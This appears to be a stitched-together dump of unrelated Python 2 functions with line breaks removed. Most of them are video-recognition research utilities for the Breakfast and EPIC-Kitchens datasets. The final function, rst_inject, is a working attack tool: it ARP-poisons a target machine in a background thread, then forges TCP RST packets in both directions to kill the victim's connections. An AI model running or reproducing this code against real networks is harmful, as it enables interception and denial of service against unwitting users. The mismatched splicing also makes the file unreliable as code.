def __get_tensor_values(batch_size, keras_session, tensor, t_input_n, t_input_x, v_input_n, x): n_items = len(x) n_batches = utils.calc_num_batches(n_items, batch_size) data = None for idx_batch in range(n_batches): utils.print_counter(idx_batch + 1, n_batches) idx_b = idx_batch * batch_size idx_e = (idx_batch + 1) * batch_size v_input_x = x[idx_b:idx_e] print v_input_x.shape values, = keras_session.run([tensor], {t_input_x: v_input_x, t_input_n: v_input_n}) # (None, 1, 1, 64, 128) print values.shape print data = values if data is None else np.vstack((data, values)) data = np.array(data) return data
def _401_pickle_features_i3d_mixed_5c(): n_frames_per_video = 512 features_root_path = Pth('Breakfast/features_i3d_mixed_5c_%d_frames', (n_frames_per_video, )) features_path = Pth( 'Breakfast/features/features_i3d_mixed_5c_%d_frames.h5', (n_frames_per_video, )) video_ids_path = Pth('Breakfast/annotation/video_ids_split.pkl') (video_ids_tr, video_ids_te) = utils.pkl_load(video_ids_path) n_tr = len(video_ids_tr) n_te = len(video_ids_te) n_frames_per_segment = 8 n_segments = int(n_frames_per_video / n_frames_per_segment) assert n_segments * n_frames_per_segment == n_frames_per_video f_tr = np.zeros((n_tr, n_segments, 7, 7, 1024), dtype=np.float16) f_te = np.zeros((n_te, n_segments, 7, 7, 1024), dtype=np.float16) for i in range(n_tr): utils.print_counter(i, n_tr, 100) p = '%s/%s.pkl' % (features_root_path, video_ids_tr[i]) f = utils.pkl_load(p) # (T, 7, 7, 2048) f_tr[i] = f for i in range(n_te): utils.print_counter(i, n_te, 100) p = '%s/%s.pkl' % (features_root_path, video_ids_te[i]) f = utils.pkl_load(p) # (T, 7, 7, 2048) f_te[i] = f print f_tr.shape print f_te.shape print(utils.get_size_in_gb(utils.get_array_memory_size(f_tr))) print(utils.get_size_in_gb(utils.get_array_memory_size(f_te))) data_names = ['x_tr', 'x_te'] utils.h5_dump_multi((f_tr, f_te), data_names, features_path)
def _201_prepare_video_frames_path_dict(): frame_relative_pathes_dict_path = Pth('EPIC-Kitchens/annotation/frame_relative_pathes_dict.pkl') video_names_splits_path = Pth('EPIC-Kitchens/annotation/video_names_splits.pkl') imgs_root_path = Pth('EPIC-Kitchens/frames_rgb_resized/train') (video_names_tr, video_names_te) = utils.pkl_load(video_names_splits_path) video_names = np.hstack((video_names_tr, video_names_te)) frame_relative_pathes_dict = {} n_videos = len(video_names) for idx, video_id in enumerate(video_names): utils.print_counter(idx, n_videos) person_id = video_id.split('_')[0] video_frames_root_path = '%s/%s/%s' % (imgs_root_path, person_id, video_id) video_frames_names = utils.file_names(video_frames_root_path, is_nat_sort=True) video_frames_names = np.array(video_frames_names) video_frames_relative_pathes = np.array(['%s/%s/%s' % (person_id, video_id, n) for n in video_frames_names]) frame_relative_pathes_dict[video_id] = video_frames_relative_pathes utils.pkl_dump(frame_relative_pathes_dict, frame_relative_pathes_dict_path)
def _01_get_nodes_over_epochs(): """ Get centroids of the model. :return: """ n_centroids = 128 n_epochs = 100 model_name = 'classifier_19.02.21-01:00:30' model_root_path = Pth('Breakfast/models/%s', (model_name,)) centroids_path = Pth('Breakfast/features_centroids/features_random_%d_centroids.pkl', (n_centroids,)) nodes_root_path = Pth('Breakfast/qualitative_results/node_embedding_%s' % (model_name,)) v_input_nodes = utils.pkl_load(centroids_path) model = None t_input_nodes = None t_node_embedding = None keras_session = K.get_session() for idx_epoch in range(n_epochs): utils.print_counter(idx_epoch, n_epochs) epoch_num = idx_epoch + 1 weight_path = '%s/%03d.pkl' % (model_root_path, epoch_num) if epoch_num == 1: model = __load_model(model_name, epoch_num) t_input_nodes = model.get_layer('input_n').input t_node_embedding = model.get_layer('node_embedding').output else: model.load_weights(weight_path) v_node_embedding, = keras_session.run([t_node_embedding], {t_input_nodes: v_input_nodes}) # (1, 128, 1024) v_node_embedding = np.squeeze(v_node_embedding, axis=0) # (1, 128, 1024) path = '%s/%02d.pkl' % (nodes_root_path, epoch_num) utils.pkl_dump(v_node_embedding, path) pass
def rst_inject(dev, source_mac, source, target, **kwargs): """ injecting RESET packets to the target machine eventually blocking his connection and navigation """ sock = socket(PF_PACKET, SOCK_RAW) sock.bind((dev, dpkt.ethernet.ETH_TYPE_ARP)) pcap_filter = build_pcap_filter(target, **kwargs) # need to create a daemon that continually poison our target thread = Thread(target=poison, args=( dev, source_mac, source, target, )) thread.daemon = True thread.start() # start capturing packets pc = pcap.pcap(dev) pc.setfilter(pcap_filter) # we need only target packets print('[+] Start poisoning on ' + G + dev + W + ' between ' + G + source + W + ' and ' + R + target + W) if kwargs['port']: print('[+] Sending RST packets to ' + R + target + W + ' on port ' + R + kwargs['port'] + W) else: print('[+] Sending RST packets to ' + R + target + W) if config.DOTTED is True: print('[+] Every dot symbolize a sent packet') counter = 0 try: for ts, pkt in pc: eth = dpkt.ethernet.Ethernet(pkt) ip = eth.data if ip.p == dpkt.ip.IP_PROTO_TCP: tcp = ip.data if tcp.flags != dpkt.tcp.TH_RST: # build tcp layer recv_tcp = dpkt.tcp.TCP(sport=tcp.sport, dport=tcp.dport, seq=tcp.seq + len(tcp.data), ack=0, off_x2=0x50, flags=dpkt.tcp.TH_RST, win=tcp.win, sum=0, urp=0) # build ip layer recv_ip = dpkt.ip.IP(v_hl=ip.v_hl, tos=ip.tos, len=40, id=ip.id + 1, off=0x4000, ttl=128, p=ip.p, sum=0, src=ip.src, dst=ip.dst, data=recv_tcp) # build ethernet layer recv_eth = dpkt.ethernet.Ethernet(dst=eth.dst, src=eth.src, type=eth.type, data=recv_ip) sock.send(str(recv_eth)) if config.DOTTED is True: utils.print_in_line('.') else: utils.print_counter(counter) ip.src, ip.dst = ip.dst, ip.src # build tcp layer send_tcp = dpkt.tcp.TCP(sport=tcp.dport, dport=tcp.sport, seq=tcp.ack, ack=tcp.seq + len(tcp.data), off_x2=0x50, flags=dpkt.tcp.TH_RST, win=tcp.win, sum=0, urp=0) # build ip layer send_ip = dpkt.ip.IP(v_hl=ip.v_hl, tos=ip.tos, len=40, id=ip.id + 1, off=0x4000, ttl=128, p=ip.p, sum=0, src=ip.src, dst=ip.dst, data=send_tcp) # build ethernet layer send_eth = dpkt.ethernet.Ethernet(dst=eth.src, src=eth.dst, type=eth.type, data=send_ip) sock.send(str(send_eth)) if config.DOTTED is True: utils.print_in_line('.') else: utils.print_counter(counter) counter += 1 except KeyboardInterrupt: print('[+] Rst injection interrupted\n\r') sock.close() utils.set_ip_forward(0)